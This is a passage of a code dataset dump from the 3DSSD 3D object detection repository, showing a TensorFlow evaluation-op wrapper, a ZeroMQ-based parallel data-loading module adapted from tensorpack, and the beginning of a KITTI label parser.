height) * get_coeff(cur_x - x1, cur_y - y1)\n\n x1 = np.int(np.floor(cur_x))\n y1 = np.int(np.floor(cur_y) + 1)\n ret_val += get_data(img_feature, x1, y1, width, height) * get_coeff(cur_x - x1, cur_y - y1)\n\n x1 = np.int(np.floor(cur_x) + 1)\n y1 = np.int(np.floor(cur_y) + 1)\n ret_val += get_data(img_feature, x1, y1, width, height) * get_coeff(cur_x - x1, cur_y - y1)\n\n return_feature[i] = ret_val\n return return_feature\n" }, { "alpha_fraction": 0.5938628315925598, "alphanum_fraction": 0.6197352409362793, "avg_line_length": 29.218181610107422, "blob_id": "752be7bb757419a53cfd5a5ae5c9d9a3c7673dfc", "content_id": "a54a2fd81c2e2c6d384db93a58e54934d86c7bab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1662, "license_type": "permissive", "max_line_length": 81, "num_lines": 55, "path": "/lib/utils/tf_ops/evaluation/tf_evaluate.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\nBASE_DIR = os.path.dirname(__file__)\nsys.path.append(BASE_DIR)\nevaluate_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_evaluate_so.so'))\n\ndef evaluate(detections, names, numlist):\n '''\n Input:\n detections: (n, 12)\n names: (m,)\n numlist: (m,)\n Output:\n precision_image: (NUM_CLASS, 3, 41)\n aos_image: (NUM_CLASS, 3, 41)\n precision_ground: (NUM_CLASS, 3, 41)\n aos_ground: (NUM_CLASS, 3, 41)\n precision_3d: (NUM_CLASS, 3, 41)\n aos_3d: (NUM_CLASS, 3, 41)\n '''\n return evaluate_module.evaluate(detections, names, numlist)\nops.NoGradient('Evaluate')\n\ndef calc_iou(detections, groundtruths):\n '''\n detections: [bs, dets_num, 7]\n groundtruths: [bs, gt_num, 7]\n '''\n iou_bev, iou_3d = evaluate_module.calc_iou(detections, groundtruths)\n return iou_bev, iou_3d\nops.NoGradient('CalcIou')\n\ndef calc_iou_match(detections, groundtruths):\n '''\n detections: [-1, 7]\n groundtruths: [-1, 7]\n '''\n iou_bev, iou_3d = evaluate_module.calc_matching_iou(detections, groundtruths)\n return iou_bev, iou_3d\nops.NoGradient('CalcMatchingIou')\n\n\ndef calc_iou_match_warper(detections, groundtruths):\n \"\"\"\n detections: [..., 7]\n groundtruths: [..., 7]\n \"\"\"\n original_shape = tf.shape(detections)[:-1]\n iou_bev, iou_3d = calc_iou_match(tf.reshape(detections, [-1, 7]), \n tf.reshape(groundtruths, [-1, 7]))\n iou_bev = tf.reshape(iou_bev, original_shape)\n iou_3d = tf.reshape(iou_3d, original_shape)\n return iou_bev, iou_3d\n" }, { "alpha_fraction": 0.5005927681922913, "alphanum_fraction": 0.5042407512664795, "avg_line_length": 37.96962356567383, "blob_id": "c007e16692df70144a1b9bb87a931ef0b541b578", "content_id": "6b1e479b566b27868179d94c957e96295eddfa92", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32895, "license_type": "permissive", "max_line_length": 201, "num_lines": 823, "path": "/lib/dataset/data_provider/data_provider.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "# Modified from tensorpack: https://github.com/ppwwyyxx/tensorpack\r\nimport numpy as np\r\nimport threading\r\nimport multiprocessing as mp\r\nimport weakref\r\nfrom contextlib import contextmanager\r\nfrom .serialize import loads, dumps\r\nimport errno\r\nimport uuid\r\nimport os\r\nimport zmq\r\nimport atexit\r\nfrom itertools import cycle\r\nfrom copy import copy\r\nfrom setproctitle import setproctitle\r\nimport six\r\nfrom abc import ABCMeta, abstractmethod\r\nfrom itertools import chain\r\nimport queue\r\n\r\nfrom .logger import *\r\nfrom .utils import get_rng, set_np_seed\r\n\r\ndef del_weakref(x):\r\n o = x()\r\n if o is not None:\r\n o.__del__()\r\n\r\n@contextmanager\r\ndef _zmq_catch_error(name):\r\n try:\r\n yield\r\n except zmq.ContextTerminated:\r\n print_red(\"[{}] Context terminated.\".format(name))\r\n raise Exception\r\n except zmq.ZMQError as e:\r\n if e.errno == errno.ENOTSOCK: # socket closed\r\n print_red(\"[{}] Socket closed.\".format(name))\r\n raise Exception\r\n else:\r\n raise\r\n except Exception:\r\n raise\r\n\r\nclass DataFlowReentrantGuard(object):\r\n \"\"\"\r\n A tool to enforce non-reentrancy.\r\n Mostly used on DataFlow whose :meth:`get_data` is stateful,\r\n so that multiple instances of the iterator cannot co-exist.\r\n \"\"\"\r\n def __init__(self):\r\n self._lock = threading.Lock()\r\n\r\n def __enter__(self):\r\n self._succ = self._lock.acquire(False)\r\n if not self._succ:\r\n raise threading.ThreadError(\"This DataFlow is not reentrant!\")\r\n\r\n def __exit__(self, exc_type, exc_val, exc_tb):\r\n self._lock.release()\r\n return False\r\n\r\[email protected]_metaclass(ABCMeta)\r\nclass DataFlow(object):\r\n \"\"\" Base class for all DataFlow \"\"\"\r\n\r\n @abstractmethod\r\n def get_data(self):\r\n \"\"\"\r\n The method to generate datapoints.\r\n\r\n Yields:\r\n list: The datapoint, i.e. list of components.\r\n \"\"\"\r\n\r\n def size(self):\r\n \"\"\"\r\n Returns:\r\n int: size of this data flow.\r\n\r\n Raises:\r\n :class:`NotImplementedError` if this DataFlow doesn't have a size.\r\n \"\"\"\r\n raise NotImplementedError()\r\n\r\n def reset_state(self):\r\n \"\"\"\r\n Reset state of the dataflow. It has to be called before producing datapoints.\r\n\r\n For example, RNG **has to** be reset if used in the DataFlow,\r\n otherwise it won't work well with prefetching, because different\r\n processes will have the same RNG state.\r\n \"\"\"\r\n pass\r\n\r\nclass ProxyDataFlow(DataFlow):\r\n \"\"\" Base class for DataFlow that proxies another.\r\n Every method is proxied to ``self.ds`` unless override by subclass.\r\n \"\"\"\r\n\r\n def __init__(self, ds):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): DataFlow to proxy.\r\n \"\"\"\r\n self.ds = ds\r\n\r\n def reset_state(self):\r\n self.ds.reset_state()\r\n\r\n def size(self):\r\n return self.ds.size()\r\n\r\n def get_data(self):\r\n return self.ds.get_data()\r\n\r\nclass DataFromLoader(ProxyDataFlow):\r\n def __init__(self, data_loader, is_train=True):\r\n self._data_loader = data_loader\r\n self._is_train = is_train\r\n if not self._is_train:\r\n assert data_loader.batch_size == 1, 'DataLoader should has batch size of one in eval mode.'\r\n\r\n def reset_state(self):\r\n self._data_iter = iter(self._data_loader)\r\n\r\n def get_data(self):\r\n while True:\r\n try:\r\n example = next(self._data_iter)\r\n except StopIteration:\r\n print(\"end epoch\")\r\n if self._is_train:\r\n self._data_iter = iter(self._data_loader)\r\n example = next(self._data_iter)\r\n else:\r\n return\r\n yield example\r\n\r\nclass DataFromList(ProxyDataFlow):\r\n def __init__(self, datalist, is_train=True, shuffle=True, batch_size=1):\r\n self.rng = get_rng()\r\n self._datalist = datalist\r\n self._shuffle = shuffle\r\n self._is_train = is_train\r\n self._batch_size = batch_size # only works in training\r\n\r\n def get_data(self):\r\n if self._is_train:\r\n while True:\r\n idxses = []\r\n for b in range(self._batch_size):\r\n idxs = np.arange(len(self._datalist))\r\n if self._shuffle:\r\n self.rng.shuffle(idxs)\r\n idxses.append(idxs)\r\n for i in range(len(idxses[0])):\r\n if self._batch_size == 1:\r\n yield self._datalist[ idxses[0][i] ]\r\n else:\r\n yield [ self._datalist[ idxses[b][i] ] for b in range(self._batch_size) ]\r\n else:\r\n idxs = np.arange(len(self._datalist))\r\n if self._shuffle:\r\n self.rng.shuffle(idxs)\r\n while True:\r\n for i in idxs:\r\n yield self._datalist[i]\r\n\r\n def reset_state(self):\r\n self.rng = get_rng()\r\n\r\nclass _ParallelMapData(ProxyDataFlow):\r\n def __init__(self, ds, buffer_size):\r\n assert buffer_size > 0, buffer_size\r\n self._buffer_size = buffer_size\r\n self._buffer_occupancy = 0 # actual #elements in buffer\r\n\r\n self.ds = ds\r\n\r\n def _recv(self):\r\n pass\r\n\r\n def _send(self, dp):\r\n pass\r\n\r\n def _recv_filter_none(self):\r\n ret = self._recv()\r\n assert ret is not None, \\\r\n \"[{}] Map function cannot return None when strict mode is used.\".format(type(self).__name__)\r\n return ret\r\n\r\n def _fill_buffer(self, cnt=None):\r\n if cnt is None:\r\n cnt = self._buffer_size - self._buffer_occupancy\r\n try:\r\n for _ in range(cnt):\r\n dp = next(self._iter)\r\n self._send(dp)\r\n except StopIteration:\r\n print_yellow(\r\n \"[{}] buffer_size cannot be larger than the size of the DataFlow!\".format(type(self).__name__))\r\n raise\r\n self._buffer_occupancy += cnt\r\n\r\n def get_data_non_strict(self):\r\n for dp in self._iter:\r\n self._send(dp)\r\n ret = self._recv()\r\n if ret is not None:\r\n yield ret\r\n\r\n self._iter = self.ds.get_data() # refresh\r\n for _ in range(self._buffer_size):\r\n self._send(next(self._iter))\r\n ret = self._recv()\r\n if ret is not None:\r\n yield ret\r\n\r\n def get_data_strict(self):\r\n self._fill_buffer()\r\n for dp in self._iter:\r\n self._send(dp)\r\n yield self._recv_filter_none()\r\n self._iter = self.ds.get_data() # refresh\r\n\r\n # first clear the buffer, then fill\r\n for k in range(self._buffer_size):\r\n dp = self._recv_filter_none()\r\n self._buffer_occupancy -= 1\r\n if k == self._buffer_size - 1:\r\n self._fill_buffer()\r\n yield dp\r\n\r\nclass MapData(ProxyDataFlow):\r\n \"\"\"\r\n Apply a mapper/filter on the DataFlow.\r\n\r\n Note:\r\n 1. Please make sure func doesn't modify the components\r\n unless you're certain it's safe.\r\n 2. If you discard some datapoints, ``ds.size()`` will be incorrect.\r\n \"\"\"\r\n\r\n def __init__(self, ds, func, *args, **kwargs):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): input DataFlow\r\n func (datapoint -> datapoint | None): takes a datapoint and returns a new\r\n datapoint. Return None to discard this datapoint.\r\n \"\"\"\r\n self.ds = ds\r\n self.func = func\r\n self.args = args\r\n self.kwargs = kwargs\r\n\r\n def get_data(self):\r\n for dp in self.ds.get_data():\r\n ret = self.func(copy(dp), *self.args, **self.kwargs) # shallow copy the list\r\n if ret is not None:\r\n yield ret\r\n else:\r\n print_yellow('Got empty data [{}]'.format(self.__class__.__name__))\r\n\r\nclass MultiProcessMapDataZMQ(_ParallelMapData):\r\n \"\"\"\r\n Same as :class:`MapData`, but start processes to run the mapping function,\r\n and communicate with ZeroMQ pipe.\r\n\r\n Note:\r\n 1. Processes run in parallel and can take different time to run the\r\n mapping function. Therefore the order of datapoints won't be\r\n preserved, and datapoints from one pass of `df.get_data()` might get\r\n mixed with datapoints from the next pass.\r\n\r\n You can use **strict mode**, where `MultiProcessMapData.get_data()`\r\n is guranteed to produce the exact set which `df.get_data()`\r\n produces. Although the order of data still isn't preserved.\r\n \"\"\"\r\n class _Worker(mp.Process):\r\n def __init__(self, identity, map_func, pipename, hwm):\r\n super(MultiProcessMapDataZMQ._Worker, self).__init__()\r\n self.identity = identity\r\n self.map_func = map_func\r\n self.pipename = pipename\r\n self.hwm = hwm\r\n\r\n def run(self):\r\n set_np_seed()\r\n print(blue('Start data provider'), '{}-{}'.format(self.pipename, self.identity))\r\n setproctitle('data provider {}-{}'.format(self.pipename, self.identity))\r\n ctx = zmq.Context()\r\n socket = ctx.socket(zmq.DEALER)\r\n socket.setsockopt(zmq.IDENTITY, self.identity)\r\n socket.set_hwm(self.hwm)\r\n socket.connect(self.pipename)\r\n\r\n while True:\r\n dp = loads(socket.recv(copy=False).bytes)\r\n dp = self.map_func(dp, self.identity)\r\n # if dp is not None:\r\n socket.send(dumps(dp), copy=False)\r\n # get_data_non_strict has filter None-type.\r\n # else:\r\n # print('Got empty data [{}:{}:{}]'.format(self.__class__.__name__, self.pipename, self.identity))\r\n\r\n def __init__(self, ds, nr_proc, map_func, buffer_size=200, strict=False):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): the dataflow to map\r\n nr_proc(int): number of threads to use\r\n map_func (callable): datapoint -> datapoint | None\r\n buffer_size (int): number of datapoints in the buffer\r\n strict (bool): use \"strict mode\", see notes above.\r\n \"\"\"\r\n _ParallelMapData.__init__(self, ds, buffer_size)\r\n self.nr_proc = nr_proc\r\n self.map_func = map_func\r\n self._strict = strict\r\n self._procs = []\r\n self._guard = DataFlowReentrantGuard()\r\n\r\n self._reset_done = False\r\n self._procs = []\r\n\r\n def _reset_once(self):\r\n self.context = zmq.Context()\r\n self.socket = self.context.socket(zmq.ROUTER)\r\n self.socket.set_hwm(self._buffer_size * 2)\r\n pipename = \"ipc://@{}-pipe-{}\".format('dataflow-map', str(uuid.uuid1())[:8])\r\n\r\n try:\r\n self.socket.bind(pipename)\r\n except zmq.ZMQError:\r\n print(\r\n \"ZMQError in socket.bind(). Perhaps you're \\\r\n using pipes on a non-local file system. See documentation of PrefetchDataZMQ for more information.\")\r\n raise\r\n\r\n self._proc_ids = [u'{}'.format(k).encode('utf-8') for k in range(self.nr_proc)]\r\n worker_hwm = int(self._buffer_size * 2 // self.nr_proc)\r\n self._procs = [MultiProcessMapDataZMQ._Worker(\r\n self._proc_ids[k], self.map_func, pipename, worker_hwm)\r\n for k in range(self.nr_proc)]\r\n\r\n self.ds.reset_state()\r\n self._iter = self.ds.get_data()\r\n self._iter_worker = cycle(iter(self._proc_ids))\r\n\r\n for p in self._procs:\r\n p.deamon = True\r\n p.start()\r\n self._fill_buffer() # pre-fill the bufer\r\n\r\n def reset_state(self):\r\n if self._reset_done:\r\n return\r\n self._reset_done = True\r\n\r\n # __del__ not guranteed to get called at exit\r\n atexit.register(del_weakref, weakref.ref(self))\r\n\r\n self._reset_once() # build processes\r\n\r\n def _send(self, dp):\r\n # round-robin assignment\r\n worker = next(self._iter_worker)\r\n msg = [worker, dumps(dp)]\r\n self.socket.send_multipart(msg, copy=False)\r\n\r\n def _recv(self):\r\n msg = self.socket.recv_multipart(copy=False)\r\n dp = loads(msg[1].bytes)\r\n return dp\r\n\r\n def get_data(self):\r\n with self._guard, _zmq_catch_error('MultiProcessMapData'):\r\n if self._strict:\r\n for dp in self.get_data_strict():\r\n yield dp\r\n else:\r\n for dp in self.get_data_non_strict():\r\n yield dp\r\n\r\n def __del__(self):\r\n try:\r\n if not self._reset_done:\r\n return\r\n if not self.context.closed:\r\n self.socket.close(0)\r\n self.context.destroy(0)\r\n for x in self._procs:\r\n x.terminate()\r\n x.join(5)\r\n print_green(\"{} successfully cleaned-up.\".format(type(self).__name__))\r\n except Exception:\r\n pass\r\n\r\ndef MultiProcessMapData(dp, map_func, nr_dpflows=0):\r\n if nr_dpflows == 0:\r\n dp = MapData(dp, map_func)\r\n else:\r\n dp = MultiProcessMapDataZMQ(dp, nr_dpflows, map_func)\r\n return dp\r\n\r\nclass BatchData(ProxyDataFlow):\r\n \"\"\"\r\n Stack datapoints into batches.\r\n It produces datapoints of the same number of components as ``ds``, but\r\n each component has one new extra dimension of size ``batch_size``.\r\n The batch can be either a list of original components, or (by default)\r\n a numpy array of original components.\r\n \"\"\"\r\n\r\n def __init__(self, ds, batch_size, use_list=False, use_concat=False):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): When ``use_list=False``, the components of ``ds``\r\n must be either scalars or :class:`np.ndarray`, and have to be consistent in shapes.\r\n batch_size(int): batch size\r\n use_list (bool): if True, each component will contain a list\r\n of datapoints instead of an numpy array of an extra dimension.\r\n It's often used under the case that the data cannot be serialized or nparrayed.\r\n use_concat (int): \r\n 0: False\r\n 1: True\r\n 2: True and add batch_axis at the first axis (only work for numpy array)\r\n 3: True and add batch_axis at the last axis (only work for numpy array)\r\n \"\"\"\r\n self.ds = ds\r\n self.batch_size = int(batch_size)\r\n self.use_list = use_list\r\n self.use_concat = use_concat\r\n self.check_first = False\r\n\r\n def get_data(self):\r\n \"\"\"\r\n Yields:\r\n Batched data by stacking each component on an extra 0th dimension.\r\n \"\"\"\r\n holder = []\r\n for data in self.ds.get_data():\r\n holder.append(data)\r\n if len(holder) == self.batch_size:\r\n\r\n if not self.check_first:\r\n size = len(holder[0])\r\n if isinstance(self.use_list, list) or isinstance(self.use_list, tuple):\r\n assert len(self.use_list) == size, 'use_list option should have same size of input data items.'\r\n if isinstance(self.use_concat, list) or isinstance(self.use_concat, tuple):\r\n assert len(self.use_concat) == size, 'use_concat option should have same size of input data items.'\r\n self.check_first = True\r\n\r\n batch = BatchData._aggregate_batch(holder, self.use_list, self.use_concat)\r\n yield batch\r\n del batch[:]\r\n del holder[:]\r\n\r\n @staticmethod\r\n def _aggregate_batch(data_holder, use_list=False, use_concat=False):\r\n size = len(data_holder[0])\r\n if not (isinstance(use_list, list) or isinstance(use_list, tuple)):\r\n use_list = [use_list for i in range(size)]\r\n if not (isinstance(use_concat, list) or isinstance(use_concat, tuple)):\r\n use_concat = [use_concat for i in range(size)]\r\n\r\n result = []\r\n for k in range(size):\r\n if use_concat[k]:\r\n dt = data_holder[0][k]\r\n if isinstance(dt, list):\r\n result.append(\r\n list(chain(*[x[k] for x in data_holder])))\r\n else:\r\n try:\r\n if use_concat[k] is True or use_concat[k] == 1:\r\n result.append(\r\n np.concatenate([x[k] for x in data_holder], axis=0))\r\n else:\r\n if len(data_holder[0][k].shape) != 2:\r\n raise ValueError('Cannot add batch axis in shape {}. It only supports 2-dim array.'.format(data_holder[0][k].shape))\r\n if use_concat[k] == 2:\r\n result.append(\r\n np.concatenate([np.pad(x[k], ((0, 0), (1, 0)), mode='constant', constant_values=i) for i,x in enumerate(data_holder)], axis=0))\r\n elif use_concat[k] == 3:\r\n result.append(\r\n np.concatenate([np.pad(x[k], ((0, 0), (0, 1)), mode='constant', constant_values=i) for i,x in enumerate(data_holder)], axis=0))\r\n else:\r\n raise ValueError('Unsupported type of attribute use_concat : {}'.format(use_concat[k]))\r\n except Exception as e: # noqa\r\n print_yellow(\"Cannot concat batch data. Perhaps they are of inconsistent shape?\")\r\n if isinstance(dt, np.ndarray):\r\n s = [x[k].shape for x in data_holder]\r\n print_yellow(\"Shape of all arrays to be batched: {}\".format(s))\r\n try:\r\n # open an ipython shell if possible\r\n import IPython as IP; IP.embed() # noqa\r\n except ImportError:\r\n pass\r\n else:\r\n if use_list[k]:\r\n result.append(\r\n [x[k] for x in data_holder])\r\n else:\r\n dt = data_holder[0][k]\r\n if type(dt) in [int, bool]:\r\n tp = 'int32'\r\n elif type(dt) == float:\r\n tp = 'float32'\r\n else:\r\n try:\r\n tp = np.asarray(dt).dtype\r\n except AttributeError:\r\n raise TypeError(\"Unsupported type to batch: {}\".format(type(dt)))\r\n try:\r\n result.append(\r\n np.asarray([x[k] for x in data_holder], dtype=tp))\r\n except Exception as e: # noqa\r\n print_yellow(\"Cannot batch data. Perhaps they are of inconsistent shape?\")\r\n if isinstance(dt, np.ndarray):\r\n s = [x[k].shape for x in data_holder]\r\n print_yellow(\"Shape of all arrays to be batched: {}\".format(s))\r\n try:\r\n # open an ipython shell if possible\r\n import IPython as IP; IP.embed() # noqa\r\n except ImportError:\r\n pass\r\n return result\r\n\r\nclass BatchDataNuscenes(ProxyDataFlow):\r\n \"\"\"\r\n Stack datapoints into batches.\r\n It produces datapoints of the same number of components as ``ds``, but\r\n each component has one new extra dimension of size ``batch_size``.\r\n The batch can be either a list of original components, or (by default)\r\n a numpy array of original components.\r\n \"\"\"\r\n\r\n def __init__(self, ds, batch_size, use_list=False, use_concat=False):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): When ``use_list=False``, the components of ``ds``\r\n must be either scalars or :class:`np.ndarray`, and have to be consistent in shapes.\r\n batch_size(int): batch size\r\n use_list (bool): if True, each component will contain a list\r\n of datapoints instead of an numpy array of an extra dimension.\r\n It's often used under the case that the data cannot be serialized or nparrayed.\r\n use_concat (int): \r\n 0: False\r\n 1: True\r\n 2: True and add batch_axis at the first axis (only work for numpy array)\r\n 3: True and add batch_axis at the last axis (only work for numpy array)\r\n \"\"\"\r\n self.ds = ds\r\n self.batch_size = int(batch_size)\r\n self.use_list = use_list\r\n self.use_concat = use_concat\r\n self.check_first = False\r\n\r\n def get_data(self):\r\n \"\"\"\r\n Yields:\r\n Batched data by stacking each component on an extra 0th dimension.\r\n \"\"\"\r\n holder = []\r\n biggest_label_num_list = []\r\n for data in self.ds.get_data():\r\n biggest_label_num_list.append(data[0])\r\n holder.append(data[1:])\r\n if len(holder) == self.batch_size:\r\n # load done\r\n cur_biggest_label = np.max(biggest_label_num_list)\r\n if not self.check_first:\r\n size = len(holder[0])\r\n if isinstance(self.use_list, list) or isinstance(self.use_list, tuple):\r\n assert len(self.use_list) == size, 'use_list option should have same size of input data items.'\r\n if isinstance(self.use_concat, list) or isinstance(self.use_concat, tuple):\r\n assert len(self.use_concat) == size, 'use_concat option should have same size of input data items.'\r\n self.check_first = True\r\n\r\n batch = BatchDataNuscenes._aggregate_batch(holder, cur_biggest_label, self.use_list, self.use_concat)\r\n yield batch\r\n del batch[:]\r\n del holder[:]\r\n del biggest_label_num_list[:]\r\n\r\n @staticmethod\r\n def _aggregate_batch(data_holder, cur_biggest_label, use_list=False, use_concat=False):\r\n size = len(data_holder[0])\r\n if not (isinstance(use_list, list) or isinstance(use_list, tuple)):\r\n use_list = [use_list for i in range(size)]\r\n if not (isinstance(use_concat, list) or isinstance(use_concat, tuple)):\r\n use_concat = [use_concat for i in range(size)]\r\n\r\n result = []\r\n for k in range(size):\r\n if use_concat[k]:\r\n dt = data_holder[0][k]\r\n if isinstance(dt, list):\r\n result.append(\r\n list(chain(*[x[k] for x in data_holder])))\r\n else:\r\n try:\r\n if use_concat[k] is True or use_concat[k] == 1:\r\n result.append(\r\n np.concatenate([x[k] for x in data_holder], axis=0))\r\n elif use_concat[k] == 3: # concatenate groundtruth\r\n if len(data_holder[0][k].shape) == 3: # label_boxes_3d, label_anchors...\r\n result.append(\r\n np.concatenate([np.pad(x[k], ((0, 0), (0, cur_biggest_label-x[k].shape[1]), (0, 0)), mode='constant', constant_values=0) for i,x in enumerate(data_holder)], axis=0))\r\n elif len(data_holder[0][k].shape) == 2: # label_classes ...\r\n result.append(\r\n np.concatenate([np.pad(x[k], ((0, 0), (0, cur_biggest_label-x[k].shape[1])), mode='constant', constant_values=0) for i,x in enumerate(data_holder)], axis=0))\r\n else:\r\n raise ValueError('Unsupported type of attribute use_concat : {}'.format(use_concat[k]))\r\n else:\r\n if len(data_holder[0][k].shape) == 2: # label_boxes_3d, label_anchors\r\n if use_concat[k] == 2:\r\n result.append(\r\n np.stack([np.pad(x[k], ((0, cur_biggest_label-len(x[k])), (0, 0)), mode='constant', constant_values=0) for i,x in enumerate(data_holder)], axis=0))\r\n else:\r\n raise ValueError('Unsupported type of attribute use_concat : {}'.format(use_concat[k]))\r\n elif len(data_holder[0][k].shape) == 1: # label_class...\r\n if use_concat[k] == 2:\r\n result.append(\r\n np.stack([np.pad(x[k], (0, cur_biggest_label-len(x[k])), mode='constant', constant_values=0) for i,x in enumerate(data_holder)], axis=0))\r\n else:\r\n raise ValueError('Unsupported type of attribute use_concat : {}'.format(use_concat[k]))\r\n \r\n except Exception as e: # noqa\r\n print_yellow(\"Cannot concat batch data. Perhaps they are of inconsistent shape?\")\r\n if isinstance(dt, np.ndarray):\r\n s = [x[k].shape for x in data_holder]\r\n print_yellow(\"Shape of all arrays to be batched: {}\".format(s))\r\n try:\r\n # open an ipython shell if possible\r\n import IPython as IP; IP.embed() # noqa\r\n except ImportError:\r\n pass\r\n else:\r\n if use_list[k]:\r\n result.append(\r\n [x[k] for x in data_holder])\r\n else:\r\n dt = data_holder[0][k]\r\n if type(dt) in [int, bool]:\r\n tp = 'int32'\r\n elif type(dt) == float:\r\n tp = 'float32'\r\n else:\r\n try:\r\n tp = np.asarray(dt).dtype\r\n except AttributeError:\r\n raise TypeError(\"Unsupported type to batch: {}\".format(type(dt)))\r\n try:\r\n result.append(\r\n np.asarray([x[k] for x in data_holder], dtype=tp))\r\n except Exception as e: # noqa\r\n print_yellow(\"Cannot batch data. Perhaps they are of inconsistent shape?\")\r\n if isinstance(dt, np.ndarray):\r\n s = [x[k].shape for x in data_holder]\r\n print_yellow(\"Shape of all arrays to be batched: {}\".format(s))\r\n try:\r\n # open an ipython shell if possible\r\n import IPython as IP; IP.embed() # noqa\r\n except ImportError:\r\n pass\r\n return result\r\n\r\nclass StoppableThread(threading.Thread):\r\n \"\"\"\r\n A thread that has a 'stop' event.\r\n \"\"\"\r\n\r\n def __init__(self, evt=None):\r\n \"\"\"\r\n Args:\r\n evt(threading.Event): if None, will create one.\r\n \"\"\"\r\n super(StoppableThread, self).__init__()\r\n if evt is None:\r\n evt = threading.Event()\r\n self._stop_evt = evt\r\n\r\n def stop(self):\r\n \"\"\" Stop the thread\"\"\"\r\n self._stop_evt.set()\r\n\r\n def stopped(self):\r\n \"\"\"\r\n Returns:\r\n bool: whether the thread is stopped or not\r\n \"\"\"\r\n return self._stop_evt.isSet()\r\n\r\n def queue_put_stoppable(self, q, obj):\r\n \"\"\" Put obj to queue, but will give up when the thread is stopped\"\"\"\r\n while not self.stopped():\r\n try:\r\n q.put(obj, timeout=5)\r\n break\r\n except queue.Full:\r\n pass\r\n\r\n def queue_get_stoppable(self, q):\r\n \"\"\" Take obj from queue, but will give up when the thread is stopped\"\"\"\r\n while not self.stopped():\r\n try:\r\n return q.get(timeout=5)\r\n except queue.Empty:\r\n pass\r\n\r\nclass MultiThreadMapData(_ParallelMapData):\r\n \"\"\"\r\n Same as :class:`MapData`, but start threads to run the mapping function.\r\n This is useful when the mapping function is the bottleneck, but you don't\r\n want to start processes for the entire dataflow pipeline.\r\n\r\n Note:\r\n 1. There is tiny communication overhead with threads, but you\r\n should avoid starting many threads in your main process to reduce GIL contention.\r\n\r\n The threads will only start in the process which calls :meth:`reset_state()`.\r\n Therefore you can use ``PrefetchDataZMQ(MultiThreadMapData(...), 1)``\r\n to reduce GIL contention.\r\n\r\n 2. Threads run in parallel and can take different time to run the\r\n mapping function. Therefore the order of datapoints won't be\r\n preserved, and datapoints from one pass of `df.get_data()` might get\r\n mixed with datapoints from the next pass.\r\n\r\n You can use **strict mode**, where `MultiThreadMapData.get_data()`\r\n is guranteed to produce the exact set which `df.get_data()`\r\n produces. Although the order of data still isn't preserved.\r\n \"\"\"\r\n class _Worker(StoppableThread):\r\n def __init__(self, inq, outq, evt, map_func):\r\n super(MultiThreadMapData._Worker, self).__init__(evt)\r\n self.inq = inq\r\n self.outq = outq\r\n self.func = map_func\r\n self.daemon = True\r\n\r\n def run(self):\r\n try:\r\n while True:\r\n dp = loads(self.queue_get_stoppable(self.inq))\r\n if self.stopped():\r\n return\r\n # cannot ignore None here. will lead to unsynced send/recv\r\n obj = self.func(dp)\r\n self.queue_put_stoppable(self.outq, dumps(obj))\r\n except Exception:\r\n if self.stopped():\r\n pass # skip duplicated error messages\r\n else:\r\n raise\r\n finally:\r\n self.stop()\r\n\r\n def __init__(self, ds, nr_thread, map_func, buffer_size=200, strict=False):\r\n \"\"\"\r\n Args:\r\n ds (DataFlow): the dataflow to map\r\n nr_thread (int): number of threads to use\r\n map_func (callable): datapoint -> datapoint | None\r\n buffer_size (int): number of datapoints in the buffer\r\n strict (bool): use \"strict mode\", see notes above.\r\n \"\"\"\r\n super(MultiThreadMapData, self).__init__(ds, buffer_size)\r\n\r\n self._strict = strict\r\n self.nr_thread = nr_thread\r\n self.map_func = map_func\r\n self._threads = []\r\n self._evt = None\r\n\r\n def reset_state(self):\r\n super(MultiThreadMapData, self).reset_state()\r\n if self._threads:\r\n self._threads[0].stop()\r\n for t in self._threads:\r\n t.join()\r\n\r\n self._in_queue = queue.Queue()\r\n self._out_queue = queue.Queue()\r\n self._evt = threading.Event()\r\n self._threads = [MultiThreadMapData._Worker(\r\n self._in_queue, self._out_queue, self._evt, self.map_func)\r\n for _ in range(self.nr_thread)]\r\n for t in self._threads:\r\n t.start()\r\n\r\n self._iter = self.ds.get_data()\r\n self._guard = DataFlowReentrantGuard()\r\n\r\n # Call once at the beginning, to ensure inq+outq has a total of buffer_size elements\r\n self._fill_buffer()\r\n\r\n def _recv(self):\r\n x = loads(self._out_queue.get())\r\n return x\r\n\r\n def _send(self, dp):\r\n self._in_queue.put(dumps(dp))\r\n\r\n def get_data(self):\r\n with self._guard:\r\n if self._strict:\r\n for dp in self.get_data_strict():\r\n yield dp\r\n else:\r\n for dp in self.get_data_non_strict():\r\n yield dp\r\n\r\n def __del__(self):\r\n if self._evt is not None:\r\n self._evt.set()\r\n for p in self._threads:\r\n p.stop()\r\n p.join(timeout=5.0)\r\n # if p.is_alive():\r\n # logger.warn(\"Cannot join thread {}.\".format(p.name))\r\n" }, { "alpha_fraction": 0.5170143246650696, "alphanum_fraction": 0.5536766052246094, "avg_line_length": 35.342567443847656, "blob_id": "3e69228e37a609e92d33e144163257714ce80af5", "content_id": "281d874b29cd3b0bdff7d1f3467098173912d3da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14429, "license_type": "permissive", "max_line_length": 97, "num_lines": 397, "path": "/lib/utils/kitti_util.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "\"\"\" Helper methods for loading and parsing KITTI data.\n\nAuthor: Charles R. Qi\nDate: September 2017\n\"\"\"\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport os\n\nclass Object3d(object):\n ''' 3d object label '''\n def __init__(self, label_file_line=None):\n # each object represents a line in the %06d.txt\n # that is each object3D represent a instance object in the image\n # Pedestrian 0.00 0 -0.20 712.40 143.00 810.73 307.92 \n # 1.89 0.48 1.20 1.84 1.47 8.41 0.01\n data = label_file_line.split(' ')\n data[1:] = [float(x) for x in data[1:]]\n\n # extract label, truncation, 